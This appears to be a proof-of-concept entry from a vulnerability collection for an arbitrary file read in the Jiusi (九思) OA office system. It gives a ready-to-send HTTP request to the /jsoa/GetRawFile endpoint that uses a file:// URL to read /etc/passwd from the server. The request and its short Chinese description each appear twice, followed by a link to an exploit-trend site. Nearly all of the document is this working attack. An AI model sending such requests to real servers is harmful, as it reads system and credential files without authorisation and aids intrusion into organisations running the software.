Description
【漏洞对象】九思OA 【涉及版本】GetRawFile 【漏洞描述】 九思OA任意文件读取
九思OA GetRawFile-任意文件读取
PoC
GET /jsoa/GetRawFile?url=file:///etc/passwd HTTP/1.1
Host:
Accept: */*
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.【漏洞对象】九思OA 【涉及版本】GetRawFile 【漏洞描述】 九思OA任意文件读取
GET /jsoa/GetRawFile?url=file:///etc/passwd HTTP/1.1
Host:
Accept: */*
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.